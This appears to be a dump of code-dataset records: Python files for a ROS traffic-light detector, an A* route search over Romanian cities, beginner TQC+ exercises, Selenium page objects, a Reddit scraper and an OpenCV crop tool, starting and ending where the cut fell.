time.time()\n\n self.has_image = True\n self.camera_image = msg\n light_wp, state = self.process_traffic_lights()\n rospy.loginfo('tl state = ' + str(state))\n\n '''\n Publish upcoming red lights at camera frequency.\n Each predicted state has to occur `STATE_COUNT_THRESHOLD` number\n of times till we start using it. Otherwise the previous stable state is\n used.\n '''\n if self.state != state:\n self.state_count = 0\n self.state = state\n elif self.state_count >= STATE_COUNT_THRESHOLD:\n self.last_state = self.state\n light_wp = light_wp if state == TrafficLight.RED else -1\n self.last_wp = light_wp\n self.upcoming_red_light_pub.publish(Int32(light_wp))\n else:\n self.upcoming_red_light_pub.publish(Int32(self.last_wp))\n self.state_count += 1\n \n elapsed_time = time.time() - start_time\n rospy.loginfo('image_cb time = %0.1fus\\n' % (1000.0*1000*elapsed_time))\n\n\n def get_closest_waypoint(self, pose):\n \"\"\"Identifies the closest path waypoint to the given position\n https://en.wikipedia.org/wiki/Closest_pair_of_points_problem\n Args:\n pose (Pose): position to match a waypoint to\n Returns:\n int: index of the closest waypoint in self.waypoints\n \"\"\"\n \n pos = pose.position\n l_id = 0\n r_id = len(self.waypoints) - 1\n m_id = len(self.waypoints)-1\n\n while l_id < r_id:\n ldist = self.pos_distance(self.waypoints[l_id].pose.pose.position, pos)\n rdist = self.pos_distance(self.waypoints[r_id].pose.pose.position, pos)\n xmid = (l_id + r_id) // 2\n mdist = self.pos_distance(self.waypoints[xmid].pose.pose.position, pos)\n\n closest_dist = ldist\n m_id = l_id\n if mdist < closest_dist:\n closest_dist = mdist\n m_id = xmid\n if rdist < closest_dist:\n closest_dist = rdist\n m_id = r_id\n\n # If l_id is right before xmid and xmid is right before r_id,\n # then xmid is the closest waypoint\n if l_id == xmid -1 and xmid == r_id -1:\n break\n\n # c: car\n # l: left point\n # r: right point\n # m: xmid\n # *: closest waypoint\n if rdist < mdist:\n if ldist < rdist:\n # l--c----r--m\n r_id = xmid - 1\n else:\n # l----c--r--m\n l_id = xmid + 1\n\n elif mdist < closest_dist:\n # l--c--m--*--r\n l_id = xmid-1\n elif mdist > closest_dist :\n # l--c--*--m--r\n r_id = xmid+1\n\n elif mdist == closest_dist:\n # ?-cm-?\n if ldist < rdist:\n # l--cm---r\n r_id = xmid + (r_id - xmid) // 2\n elif rdist < ldist:\n # l---cm--r\n l_id = xmid - (xmid - l_id) // 2\n\n return m_id\n\n def pos_distance(self, a, b):\n \"\"\" Distance between two positions\n \"\"\"\n return math.sqrt((a.x-b.x)**2 + (a.y-b.y)**2 + (a.z-b.z)**2)\n\n def distance_2d(self, a, b):\n return math.sqrt((a.x-b.x)**2 + (a.y-b.y)**2)\n\n def project_to_image_plane(self, point_in_world):\n \"\"\"Project point from 3D world coordinates to 2D camera image location\n\n Args:\n point_in_world (Point): 3D location of a point in the world\n\n Returns:\n x (int): x coordinate of target point in image\n y (int): y coordinate of target point in image\n\n \"\"\"\n\n\n # From udacity.\n fx = 2574\n fy = 2744\n image_width = self.config['camera_info']['image_width']\n image_height = self.config['camera_info']['image_height']\n\n trans = None\n\n try:\n now = rospy.Time.now()\n self.listener.waitForTransform(\"/base_link\",\n \"/world\", now, rospy.Duration(1.0))\n (trans, rot) = self.listener.lookupTransform(\"/base_link\",\n \"/world\", now)\n\n except (tf.Exception, tf.LookupException, tf.ConnectivityException):\n rospy.logerr(\"Failed to find camera to map transform\")\n\n # Use tranform and rotation to calculate 2D position of light in image\n if (trans != None):\n # Convert rotation vector so we can use it.\n yaw = tf.transformations.euler_from_quaternion(rot)[2]\n\n # Rotation followed by translation\n px = point_in_world.x\n py = point_in_world.y\n pz = point_in_world.z\n xt = trans[0]\n yt = trans[1]\n zt = trans[2]\n\n Rnt = (\n px * math.cos(yaw) - py * math.sin(yaw) + xt,\n px * math.sin(yaw) + py * math.cos(yaw) + yt,\n pz + zt)\n\n u = int(fx * -Rnt[1] / Rnt[0] + image_width / 2 - 30)\n v = int(fy * -(Rnt[2] - 1.0) / Rnt[0] + image_height + 50)\n\n light_width = 1.0\n light_height = 1.95\n\n distance = self.distance_2d(self.pose.pose.position, point_in_world)\n\n # Size of traffic light within 2D picture\n light_width_estimate = 2 * fx * math.atan(light_width / (2 * distance))\n light_height_estimate = 2 * fx * math.atan(light_height / (2 * distance))\n # Get points for traffic light's bounding box\n bbox_topleft = (int(u - light_width_estimate / 2), int(v - light_height_estimate / 2))\n bbox_bottomright = (int(u + light_width_estimate / 2), int(v + light_height_estimate / 2))\n else:\n # No translation matrix so we cannot find the light.\n bbox_topleft = (0, 0)\n bbox_bottomright = (0, 0)\n\n return (bbox_topleft, bbox_bottomright)\n\n\n def resize_image(self, img, width, height):\n \n aspect_ratio_width = 0.5\n aspect_ratio_height = height/width\n img_height, img_width = img.shape[:2]\n crop_height = int(img_width / aspect_ratio_width)\n extra_height = (img_height - crop_height) / 2\n crop_width = int(img_height / aspect_ratio_height)\n extra_width = (img_width - crop_width) / 2\n # Crop image to keep aspect ratio\n if extra_height > 0:\n crop_img = img[int(extra_height):int(img_height-math.ceil(extra_height)), 0:int(img_width)]\n elif extra_width > 0:\n crop_img = img[0:int(img_height), int(extra_width):int(img_width-math.ceil(extra_width))]\n else:\n crop_img = img\n\n return cv2.resize(crop_img, (width, height), 0, 0, interpolation=cv2.INTER_AREA)\n\n def get_light_state(self, light):\n \"\"\"Determines the current color of the traffic light\n\n Args:\n light (TrafficLight): light to classify\n\n Returns:\n int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n \"\"\"\n if(not self.has_image):\n self.prev_light_loc = None\n return False\n\n cv_image = self.bridge.imgmsg_to_cv2(self.camera_image, \"bgr8\")\n\n pt = Point()\n pt.x = light.pose.pose.position.x\n pt.y = light.pose.pose.position.y\n pt.z = 0\n \n # Convert given traffic light coordinates into position within 2D image\n tleft, bright = self.project_to_image_plane(light.pose.pose.position)\n cropped_image = cv_image[tleft[1]:bright[1], tleft[0]:bright[0]]\n\n if (cropped_image.shape[0] > 0 and cropped_image.shape[1] > 0):\n cropped_image = self.resize_image(cropped_image, 30, 60)\n\n #Get classification\n clazz = self.light_classifier.get_classification(cropped_image)\n #rospy.loginfo(clazz)\n\n return clazz\n\n def process_traffic_lights(self):\n \"\"\"Finds closest visible traffic light, if one exists, and determines its\n location and color\n Returns:\n int: index of waypoint closes to the upcoming stop line for a traffic light (-1 if none exists)\n int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n \"\"\"\n light = None\n #rospy.loginfo('self.waypoints = ' + str(self.waypoints))\n\n if self.waypoints is None:\n rospy.logerr('self.waypoints is None')\n\n if self.waypoints is not None:\n # List of positions that correspond to the line to stop in front of for a given intersection\n stop_line_positions = self.config['stop_line_positions']\n if(self.pose):\n car_position = self.get_closest_waypoint(self.pose.pose)\n\n #find the closest visible traffic light (if one exists)\n light = self.get_closest_light(self.pose.pose)\n\n if light:\n light_wp = self.get_closest_waypoint(light.pose.pose)\n state = self.get_light_state(light)\n\n # Debugging traffic light:\n #\n # rospy.loginfo(\"light_xyz: ({}, {}, {}), wp_xyz({}): ({}, {}, {})\".format(\n # light.pose.pose.position.x,\n # light.pose.pose.position.y,\n # light.pose.pose.position.z,\n # light_wp,\n # self.waypoints[light_wp].pose.pose.position.x,\n # self.waypoints[light_wp].pose.pose.position.y,\n # self.waypoints[light_wp].pose.pose.position.z\n # ))\n return light_wp, state\n #self.waypoints = None\n return -1, TrafficLight.UNKNOWN\n\n def get_closest_light(self, pose):\n \"\"\" Get the position of the closest traffic light.\n\n Args:\n pose (Pose): Position of car.\n Returns:\n TrafficLight: light object.\n \"\"\"\n # Decide if we should have a horizon (a max distance at which the car will try and capture the light).\n horizon = 100\n\n min_dist = float(\"inf\")\n light = None\n #rospy.loginfo('self.lights = ' + str(self.lights))\n\n for l in self.lights:\n dist = self.pos_distance(pose.position, l.pose.pose.position)\n if dist < min_dist and dist < horizon:\n min_dist = dist\n light = l\n return light\n\nif __name__ == '__main__':\n try:\n TLDetector()\n except rospy.ROSInterruptException:\n rospy.logerr('Could not start traffic node.')\n","sub_path":"ros/src/tl_detector/tl_detector.py","file_name":"tl_detector.py","file_ext":"py","file_size_in_byte":13610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"411145316","text":"\nfrom googlestaticmaps import get_map_at_lonlat, GoogleMapType\n\n\n# Get google maps apikey\ntry:\n with open(\"googlemaps_apikey.txt\") as fh:\n googlemaps_apikey = fh.read()\n fh.close()\nexcept IOError:\n print(\"No google maps apikey found!\")\n quit(-1)\n\nimg = get_map_at_lonlat(11.620967, 48.316362, 16, apikey=googlemaps_apikey, imgSize=(700, 700), mapType=GoogleMapType.Hybrid).mapImage\nimg.show()\n","sub_path":"tests/show_kreuz_neufahrn.py","file_name":"show_kreuz_neufahrn.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"183318284","text":"from heapq import heappush\nfrom heapq import heappop\n\nclass City:\n def __init__(self,name, h):\n self.name = name\n self.neighboors = []\n self.h = h\n\n def addNeighboors(self,neighboors):\n for city in neighboors:\n self.neighboors.append(city)\n\narad = City('Arad', 366)\nzerind = City('Zerind', 374)\nsibiu = City('Sibiu', 253)\ntimisoara = City('Timisoara', 329)\noradea = City('Oradea', 380)\nlugoj = City('Lugoj', 244)\nfagaras = City('Fagaras', 178)\nvilcea = City('R. Vilcea', 193)\nmehadia = City('Mehadia', 241)\nbucharest = City('Bucharest', 0)\npitesti = City('Pitesti', 98)\ncraiova = City('Craiova', 160)\ndobreta = City('Dobreta', 242)\nurziceni = City('Urziceni', 80)\ngiurgiu = City('Giurgiu', 77)\nvaslui = City('Vaslui', 199)\nhirsova = City('Hirsova', 151)\niasi = City('Iasi', 226)\neforie = City('Eforie', 161)\nneamt = City('Neamt', 234)\n\narad.addNeighboors([(75, zerind), (140, sibiu), (118,timisoara)])\nzerind.addNeighboors([(71, oradea), (75, arad)])\nsibiu.addNeighboors([(151,oradea), (140,arad), (99, fagaras), (80, vilcea)])\ntimisoara.addNeighboors([(118, arad), (111, lugoj)])\noradea.addNeighboors([(71,zerind), (151,sibiu)])\nlugoj.addNeighboors([(111,timisoara),(70, mehadia)])\nmehadia.addNeighboors([(70, lugoj),(75, dobreta)])\ndobreta.addNeighboors([(75, mehadia),(120, craiova)])\ncraiova.addNeighboors([(120, dobreta),(146, vilcea),(138, pitesti)])\nvilcea.addNeighboors([(80, sibiu),(146, craiova),(97, pitesti)])\npitesti.addNeighboors([(97, vilcea),(138, craiova),(101, bucharest)])\nfagaras.addNeighboors([(99,sibiu),(211,bucharest)])\nbucharest.addNeighboors([(101, pitesti),(211, fagaras),(90, giurgiu),(85, urziceni)])\ngiurgiu.addNeighboors([(90, bucharest)])\nurziceni.addNeighboors([(85, bucharest),(98,hirsova),(142, vaslui)])\nhirsova.addNeighboors([(98, urziceni),(86, eforie)])\neforie.addNeighboors([(86, hirsova)])\nvaslui.addNeighboors([(142, urziceni),(92, iasi)])\niasi.addNeighboors([(92, vaslui),(87, neamt)])\nneamt.addNeighboors([(87,iasi)])\n\nclass State:\n def __init__(self, city, g, parent):\n self.parent = parent\n self.city = city\n self.g = g\n\n def __lt__(self, other):\n return self.g3d}{:>3d}{:>3d}'.format(ll[j],ll[j+1],ll[j+2]))\r\nprint(summ)\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 602 撲克牌總和\r\n請撰寫一程式，讓使用者輸入52張牌中的5張，計算並輸出其總和。\r\n提示：J、Q、K以及A分別代表11、12、13以及1。\r\n\r\n輸入說明\r\n5張牌數\r\n輸出說明\r\n5張牌的數值總和\r\n\r\n範例輸入\r\n5\r\n10\r\nK\r\n3\r\nA\r\n範例輸出\r\n32\r\n\"\"\"\r\nll=[]\r\nfor i in range(5):\r\n x=input()\r\n if x=='A':\r\n ll.append(1)\r\n elif x=='K':\r\n ll.append(13)\r\n elif x=='Q':\r\n ll.append(12)\r\n elif x=='J':\r\n ll.append(11)\r\n else:\r\n ll.append(int(x))\r\nprint(sum(ll))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 603 數字排序\r\n請撰寫一程式，要求使用者輸入十個數字並存放在串列中。\r\n接著由大到小的順序顯示最大的3個數字。\r\n\r\n輸入說明\r\n十個數字\r\n輸出說明\r\n由大到小排序，顯示最大的3個數字\r\n\r\n範例輸入1\r\n40\r\n32\r\n12\r\n29\r\n20\r\n19\r\n38\r\n48\r\n57\r\n44\r\n範例輸出1\r\n57 48 44\r\n\"\"\"\r\nll=[]\r\nfor i in range(10):\r\n x=int(input())\r\n ll.append(x)\r\nprint(sorted(ll)[-1],sorted(ll)[-2],sorted(ll)[-3])\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 604 眾數\r\n請撰寫一程式，讓使用者輸入十個整數作為樣本數，\r\n輸出眾數（樣本中出現最多次的數字）及其出現的次數。\r\n提示：假設樣本中只有一個眾數。\r\n\r\n輸入說明\r\n十個整數\r\n輸出說明\r\n眾數\r\n眾數出現的次數\r\n\r\n範例輸入\r\n34\r\n18\r\n22\r\n32\r\n18\r\n29\r\n30\r\n38\r\n42\r\n18\r\n範例輸出\r\n18\r\n3\r\n\"\"\"\r\nimport numpy as np\r\n# ll=[34,18,22,32,18,29,30,38,42,18]\r\nll=[]\r\nfor i in range(10):\r\n x=int(input())\r\n ll.append(x)\r\n\r\nll2=list(np.unique(ll))\r\nll3=[]\r\nfor j in range(len(ll2)):\r\n ll3.append(ll.count(ll2[j]))\r\n\r\nprint(ll2[ll3.index(max(ll3))])\r\nprint(max(ll3))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 605 成績計算\r\n請撰寫一程式，讓使用者輸入十個成績，\r\n接下來將十個成績中最小和最大值（最小、最大值不重複）\r\n以外的成績作加總及平均，並輸出結果。\r\n\r\n提示：平均值輸出到小數點後第二位。\r\n\r\n輸入說明\r\n十個數字\r\n輸出說明\r\n總和\r\n平均\r\n\r\n範例輸入\r\n89\r\n78\r\n67\r\n80\r\n75\r\n98\r\n77\r\n89\r\n76\r\n60\r\n範例輸出\r\n631\r\n78.88\r\n\"\"\"\r\n#ll=[89,78,67,80,75,98,77,89,76,60]\r\nll=[]\r\nfor i in range(10):\r\n x=int(input())\r\n ll.append(x)\r\n\r\nmaxx=max(ll)\r\nminn=min(ll)\r\nll.remove(maxx)\r\nll.remove(minn)\r\nprint(sum(ll))\r\nprint('{:.2f}'.format(sum(ll)/len(ll)))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 606 二維串列行列數\r\n請撰寫一程式，讓使用者輸入兩個正整數rows、cols，\r\n分別表示二維串列lst 的「第一個維度大小」與「第二個維度大小」。\r\n串列元素[row][col]所儲存的數字，其規則為：\r\nrow、col 的交點值 = 第二個維度的索引col – 第一個維度的索引row。\r\n接著以該串列作為參數呼叫函式compute()輸出串列。\r\n\r\n提示：欄寬為4。\r\n\r\n輸入說明\r\n兩個正整數（rows、cols）\r\n輸出說明\r\n格式化輸出row、col的交點值\r\n\r\n範例輸入\r\n5\r\n10\r\n範例輸出\r\n 0 1 2 3 4 5 6 7 8 9\r\n -1 0 1 2 3 4 5 6 7 8\r\n -2 -1 0 1 2 3 4 5 6 7\r\n -3 -2 -1 0 1 2 3 4 5 6\r\n -4 -3 -2 -1 0 1 2 3 4 5\r\n\"\"\"\r\nroww=int(input())\r\ncoll=int(input())\r\n\r\ndef compute(row,col):\r\n for i in range(1,roww+1):\r\n for j in range(1,col+1):\r\n print('{:>4d}'.format(j-i),sep='',end='')\r\n print()\r\n\r\ncompute(roww,coll)\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 607 成績計算\r\n請撰寫一程式，讓使用者輸入三位學生各五筆成績，\r\n接著再計算並輸出每位學生的總分及平均分數。\r\n\r\n提示：平均分數輸出到小數點後第二位。\r\n\r\n輸入說明\r\n三位學生各五筆成績\r\n輸出說明\r\n格式化輸出每位學生的總分及平均分數\r\n\r\n輸入與輸出會交雜如下，輸出的部份以粗體字表示\r\nThe 1st student:\r\n78\r\n89\r\n88\r\n70\r\n60\r\nThe 2nd student:\r\n90\r\n78\r\n66\r\n68\r\n78\r\nThe 3rd student:\r\n69\r\n97\r\n70\r\n89\r\n90\r\nStudent 1\r\n#Sum 385\r\n#Average 77.00\r\nStudent 2\r\n#Sum 380\r\n#Average 76.00\r\nStudent 3\r\n#Sum 415\r\n#Average 83.00\r\n\"\"\"\r\nprint('The 1st student:')\r\nl1=[]\r\nfor i in range(5):\r\n l1.append(int(input()))\r\n\r\nprint('The 2nd student:')\r\nl2=[]\r\nfor i in range(5):\r\n l2.append(int(input()))\r\n\r\nprint('The 3rd student:')\r\nl3=[]\r\nfor i in range(5):\r\n l3.append(int(input()))\r\n\r\nimport numpy as np\r\n\r\nprint('Student 1')\r\nprint('#Sum {:d}'.format(sum(l1)))\r\nprint('#Average {:.2f}'.format(np.mean(l1)))\r\n\r\nprint('Student 2')\r\nprint('#Sum {:d}'.format(sum(l2)))\r\nprint('#Average {:.2f}'.format(np.mean(l2)))\r\n\r\nprint('Student 3')\r\nprint('#Sum {:d}'.format(sum(l3)))\r\nprint('#Average {:.2f}'.format(np.mean(l3)))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 608 最大最小值索引\r\n請撰寫一程式，讓使用者建立一個3*3的矩陣，\r\n其內容為從鍵盤輸入的整數（不重複），\r\n接著輸出矩陣最大值與最小值的索引。\r\n\r\n輸入說明\r\n九個整數\r\n輸出說明\r\n矩陣最大值及其索引\r\n矩陣最小值及其索引\r\n\r\n範例輸入\r\n6\r\n4\r\n8\r\n39\r\n12\r\n3\r\n-3\r\n49\r\n33\r\n範例輸出\r\nIndex of the largest number 49 is: (2, 1)\r\nIndex of the smallest number -3 is: (2, 0)\r\n\"\"\"\r\nll=[]\r\nfor i in range(9): ll.append(int(input()))\r\nprint('Index of the largest number {:d} is: ({:d}, {:d})'\r\n .format(max(ll), ll.index(max(ll))//3, ll.index(max(ll))%3))\r\n\r\nprint('Index of the smallest number {:d} is: ({:d}, {:d})'\r\n .format(min(ll), ll.index(min(ll))//3, ll.index(min(ll))%3))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 609 矩陣相加\r\n請撰寫一程式，讓使用者建立兩個2*2的矩陣，\r\n其內容為從鍵盤輸入的整數，\r\n接著輸出這兩個矩陣的內容以及它們相加的結果。\r\n\r\n輸入說明\r\n兩個2*2矩陣，皆輸入整數\r\n輸出說明\r\n矩陣1的內容\r\n矩陣2的內容\r\n矩陣1及矩陣2相加的結果\r\n\r\n輸入與輸出會交雜如下\r\nEnter matrix 1:\r\n[1, 1]: 3\r\n[1, 2]: 5\r\n[2, 1]: 7\r\n[2, 2]: 5\r\nEnter matrix 2:\r\n[1, 1]: 6\r\n[1, 2]: 9\r\n[2, 1]: 8\r\n[2, 2]: 3\r\n\r\nMatrix 1:\r\n**3 5 **\r\n**7 5 **\r\nMatrix 2:\r\n**6 9 **\r\n**8 3 **\r\nSum of 2 matrices:\r\n**9 14 **\r\n**15 8 **\r\n\"\"\"\r\nla=[]\r\nprint('Enter matrix 1:')\r\nfor i in range(4): \r\n la.append(int(input('[{:d}, {:d}]: '\r\n .format((i//2)+1, (i%2)+1))))\r\n\r\nlb=[]\r\nprint('Enter matrix 2:')\r\nfor i in range(4): \r\n lb.append(int(input('[{:d}, {:d}]: '\r\n .format((i//2)+1, (i%2)+1))))\r\n\r\nlc=[]\r\nfor i in range(4): lc.append(la[i] + lb[i])\r\n\r\nprint('Matrix 1:\\n{} {} \\n{} {} '\r\n .format(la[0], la[1], la[2], la[3]))\r\nprint('Matrix 2:\\n{} {} \\n{} {} '\r\n .format(lb[0], lb[1], lb[2], lb[3]))\r\nprint('Sum of 2 matrices:\\n{} {} \\n{} {} '\r\n .format(lc[0], lc[1], lc[2], lc[3]))\r\n#%%\r\n\"\"\"\r\nTQC+ 程式語言Python 610 平均溫度\r\n請撰寫一程式，讓使用者輸入四週各三天的溫度，\r\n接著計算並輸出這四週的平均溫度及最高、最低溫度。\r\n\r\n提示1：平均溫度輸出到小數點後第二位。\r\n提示2：最高溫度及最低溫度的輸出，如為31時，\r\n 則輸出31，如為31.1時，則輸出31.1。\r\n\r\n輸入說明\r\n四週各三天的溫度\r\n輸出說明\r\n平均溫度\r\n最高溫度\r\n最低溫度\r\n\r\n輸入輸出範例\r\nWeek 1:\r\nDay 1:23.1\r\nDay 2:24\r\nDay 3:23.5\r\nWeek 2:\r\nDay 1:23.1\r\nDay 2:24\r\nDay 3:23.5\r\nWeek 3:\r\nDay 1:23.1\r\nDay 2:24\r\nDay 3:23.5\r\nWeek 4:\r\nDay 1:23.1\r\nDay 2:24\r\nDay 3:23.5\r\nAverage: 28.11\r\nHighest: 35.3\r\nLowest: 23.1\r\n\"\"\"\r\nimport numpy as np\r\nll=[]\r\nfor i in range(12):\r\n if i%3==0:\r\n print('Week {:d}:'.format((i//3)+1))\r\n ll.append(eval(input('Day {:d}:'.format((i%3)+1))))\r\n\r\nprint('Average: {:.2f}'.format(np.mean(ll)))\r\nprint('Highest:',max(ll))\r\nprint('Lowest:',min(ll))\r\n\r\n","sub_path":"pythonTQC+_ch6.py","file_name":"pythonTQC+_ch6.py","file_ext":"py","file_size_in_byte":8545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"5972110","text":"#!/usr/bin/env python3\n\nimport math\n\nx = int(input())\n\ncount = 0\nvalue = 100\nwhile(1):\n # for i in range(100):\n count += 1\n value = math.floor(value*1.01)\n # print(value)\n if value >= x:\n break\nprint(count)\n","sub_path":"abc165/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"344108448","text":"from selenium.webdriver.common.by import By\nfrom test_selenium.test_project.pages.basepage import BasePage\nfrom test_selenium.test_project.pages.contact_page import ContactPage\n\n\nclass AddMemberPage(BasePage):\n _username = (By.ID, \"username\")\n _cancel = (By.CSS_SELECTOR, \"[node-type='cancel']\")\n def add_member(self, name, acctid, memberAdd_phone):\n # find_element(By.ID, \"username\")\n self.find(*self._username).send_keys(name)\n self.find(By.ID, \"memberAdd_acctid\").send_keys(acctid)\n self.find(By.ID, \"memberAdd_phone\").send_keys(memberAdd_phone)\n # return self 是为了实现返回当前页面时依然可以实现链式调用\n # 相当于 别人调用是， add_member().save_member() 就等同于 self.save_member(self)\n return self\n\n def save_member(self):\n self.find(By.CSS_SELECTOR, \".js_btn_save\").click()\n return ContactPage(self.driver)\n\n def cancel_member(self):\n self.find(By.CSS_SELECTOR, \".js_btn_cancel\").click()\n self.wait_for_clickable(self._cancel)\n self.find(*self._cancel).click()\n return ContactPage(self.driver)\n\n\n\n","sub_path":"test_selenium/test_project/pages/add_member_page.py","file_name":"add_member_page.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"189473750","text":"h = []\ne = []\nl = []\no = []\ncount = 1\nmax = 10000\n\nmsg = list(input())\nlgth = len(msg)\n\nfor i in range(lgth):\n\ta = msg[i]\n\tif a == \"h\":\n\t\th.append(i)\n\tif a == \"e\":\n\t\te.append(i)\n\tif a == \"l\":\n\t\tl.append(i)\n\tif a == \"o\":\n\t\to.append(i)\n\nif len(h) > 0:\n\thmin = min(h)\n\tmax = hmin\n\n\tfor i in e:\n\t\tif i > max:\n\t\t\tmax = i\n\t\t\tcount = count + 1\n\t\t\tbreak\n\n\tfor i in l:\n\t\tif i > max:\n\t\t\tmax = i\n\t\t\tcount = count + 1\n\t\t\ti = l.index(i)\n\t\t\tdel l[i]\n\t\t\tbreak\n\n\tfor i in l:\n\t\tif i > max:\n\t\t\tmax = i\n\t\t\tcount = count + 1\n\t\t\tbreak\n\n\tfor i in o:\n\t\tif i > max:\n\t\t\tcount = count + 1\n\t\t\tbreak\n\nif count == 5:\n\tprint(\"YES\")\nelse:\n\tprint(\"NO\")\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"295429300","text":"import random, time\nimport sys, os\n\nfrom CronosCoinecy import Database\nfrom CronosCoinecy import Request\n\nD = Database()\nR = Request()\n\n# 1 request per second maximum to the API\ndef getRedditInfo():\n cursor = D.find('coins', { 'status': 'validated' })\n infosThread = {}\n \n for coin in cursor:\n if ('reddit' in coin):\n payload = getInfoCoins(coin)\n payload['coin_id'] = coin['_id']\n D.insert_one('reddit_channels', payload)\n\n print(\"{}: reddit infos have been updated\".format(coin['_id']))\n\n\ndef getInfoCoins(coin):\n redditUrl = coin['reddit']\n info = {}\n\n votes, comments, topics = getTopics(redditUrl)\n\n info = {\n \"votes\": votes,\n \"comments\": comments,\n \"redditUrl\": redditUrl,\n \"topics\": topics\n }\n\n return info\n\ndef getTopics(url, sumVotes = 0, sumComments = 0, sumTopics = 0):\n print(\"- [{}] - {} votes, {} comments, {} topics\".format(url, sumVotes, sumComments, sumTopics))\n time.sleep(random.random() * 2 + 4)\n soup = R.web(url)\n\n for link in soup.find_all(\"div\", {\"class\": \"link\"}):\n votes = link.find(\"div\", {\"class\": \"midcol unvoted\"}).find(\"div\", {\"class\": \"score unvoted\"}).text\n votes = votes.replace(\"•\", \"0\")\n\n if 'k' in votes:\n votes = float(votes.replace('k', '')) * 1000\n elif 'm' in votes:\n votes = float(votes.replace('m', '')) * 1000000\n\n sumVotes += int(votes)\n\n comments = link.find(\"ul\", {\"class\": \"buttons\"}).find(\"li\", {\"class\": \"first\"}).find(\"a\").text\n comments = comments.replace(\" comments\", \"\").replace(\"comment\", \"\")\n sumComments += int(comments) if (len(comments)) else 0\n\n sumTopics += 1\n\n nextButton = soup.find(\"span\", {\"class\": \"next-button\"})\n if (nextButton):\n nextButton = nextButton.find(\"a\")[\"href\"]\n topics = getTopics(nextButton, sumVotes, sumComments, sumTopics)\n\n return sumVotes, sumComments, sumTopics\n\n\ntry:\n getRedditInfo()\nexcept KeyboardInterrupt:\n print(\"Keyboard interrupt, stopping...\")\n\n\n","sub_path":"reddit/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"280221978","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nimport matplotlib.pyplot as plt\r\n\r\ndef cropIM(imagepath, saveimagepath):\r\n\r\n img = cv2.imread(imagepath)\r\n img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\r\n img_copy=img.copy()\r\n drawing = False # True if mouse is pressed\r\n ix, iy = -1, -1\r\n outdir=saveimagepath\r\n # mouse callback function\r\n def draw_rectangle(event, x, y, flags, param):\r\n global ix, iy, drawing, mode\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n # When you click DOWN with left mouse button drawing is set to True\r\n drawing = True\r\n # Then we take note of where that mouse was located\r\n ix, iy = x, y\r\n\r\n elif event == cv2.EVENT_MOUSEMOVE:\r\n # Now the mouse is moving\r\n if drawing == True:\r\n\r\n # If drawing is True, it means you've already clicked on the left mouse button\r\n # We draw a rectangle from the previous position to the x,y where the mouse is\r\n img_copy1 = img_copy.copy()\r\n\r\n cv2.rectangle(img_copy1, (ix, iy), (x, y), (0, 255, 0), 3)\r\n\r\n\r\n elif event == cv2.EVENT_LBUTTONUP:\r\n # Once you lift the mouse button, drawing is False\r\n drawing = False\r\n # we complete the rectangle.\r\n cv2.rectangle(img_copy, (ix, iy), (x, y), (0, 255, 0), 3)\r\n # print(x,y)\r\n cv2.namedWindow(winname=\"Result\")\r\n roi = img[iy:y, ix:x]\r\n # blur = cv2.medianBlur(roi, n)\r\n # img[iy:y, ix:x, :] = blur\r\n cv2.imshow('Result', roi)\r\n\r\n elif event == cv2.EVENT_RBUTTONDOWN:\r\n if outdir is not None:\r\n roi = img[iy:y, ix:x]\r\n cv2.imwrite(outdir, roi)\r\n print(\"Successfully saved the result\")\r\n else:\r\n print(\"please provide the full path for saving the result\")\r\n\r\n # Create a black image\r\n # img = np.zeros((512, 512, 3), np.uint8)\r\n # This names the window so we can reference it\r\n cv2.namedWindow(winname='my_drawing')\r\n # cv2.namedWindow(winname='Result')\r\n # Connects the mouse button to our callback function\r\n cv2.setMouseCallback('my_drawing', draw_rectangle)\r\n cv2.setMouseCallback('Result', draw_rectangle)\r\n\r\n\r\n while True: # Runs forever until we break with Esc key on keyboard\r\n # Shows the image window\r\n cv2.imshow('my_drawing', img_copy)\r\n\r\n # CHECK TO SEE IF ESC WAS PRESSED ON KEYBOARD\r\n if cv2.waitKey(1) & 0xFF == 27:\r\n break\r\n cv2.destroyAllWindows()\r\n\r\n","sub_path":"imagefunctions/crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"522607907","text":"import os.path\r\nimport sys\r\n\r\ndef main():\r\n\r\n keywords = {\"and\": 0, \"as\": 0, \"assert\": 0, \"break\": 0, \"class\": 0,\r\n \"continue\": 0, \"def\": 0, \"del\": 0, \"elif\": 0, \"else\": 0,\r\n \"except\": 0, \"False\": 0, \"finally\": 0, \"for\": 0, \"from\": 0,\r\n \"global\": 0, \"if\": 0, \"import\": 0, \"in\": 0, \"is\": 0, \"lambda\": 0,\r\n \"None\": 0, \"nonlocal\": 0, \"not\": 0, \"or\": 0, \"pass\": 0, \"raise\": 0,\r\n \"return\": 0, \"True\": 0, \"try\": 0, \"while\": 0, 